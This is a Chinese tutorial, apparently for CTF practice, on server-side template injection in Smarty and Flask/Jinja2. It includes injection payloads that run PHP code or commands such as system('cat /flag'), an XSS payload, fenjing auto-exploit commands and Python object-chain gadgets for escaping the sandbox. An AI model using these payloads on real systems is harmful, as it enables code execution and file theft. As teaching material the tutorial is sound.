SSTI模板注入
确定攻击方式

Smarty模板注入
Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
Smarty漏洞成因
<?php require_once('./smarty/libs/' . 'Smarty.class.php'); $smarty = new Smarty(); $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板 }
这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。
攻击方法
{$smarty.version}
{$smarty.version} #获取smarty的版本号
{php}{/php}
{php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal}
- {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
- 在 PHP5 环境下存在一种 PHP 标签,
<script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。 - 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}
{if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:
{if is_array($array)}{/if}
还可以用来执行命令:
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
Python模板注入
flask默认使用的模板引擎是jinja2,它是一个功能齐全的python模板引擎,除了设置变量,还允许我们添加if判断,执行for循环,调用函数等。以各种方式控制模板的输出。对应jinja2来说,模板可以是任何格式的纯文本文件,比如HTML、XML、CSV等。
flask基础
from flask import flask @app.route('/index/') def hello_word(): return 'hello world'
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http:127.0.0.1:5000/index的时候,flask会返回hello world
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定文件的。使用如下
return render_template('indexhtml')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。使用如下
html='<h1>This is index page</h1>' return render_template_string(html)
flask是使用Jinja2来作为渲染引擎的。看例子在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
例子
test.py
from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): return render_template('index.html',content='This is index page.') /templates/index.html <h1>{{content}}</h1>
{{}}在Jinja2中作为变量包裹标识符。
jinja2
python -m fenjing scan --url 一把梭
python -m fenjing crack --url 。。。 --method GET --inputs name
模板注入
不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?
xss利用
存在漏洞的代码
@app.route('/test/') def test(): code = request.args.get('id') html = ''' <h3>%s</h3> '''%(code) return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码。
@app.route('/test/') def test(): code = request.args.get('id') return render_template_string('<h1>{{ code }}</h1>',code=code)
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。
flask模板注入
1,几种常用的ssti魔术方法
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用 __builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
2,获取基类的几种方法
[].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用 或者 [].__class__.__bases__[0] //其他的类似
本文参考文章:https://xz.aliyun.com/t/12220
https://blog.csdn.net/m0_51428325/article/details/121357005

浙公网安备 33010602011771号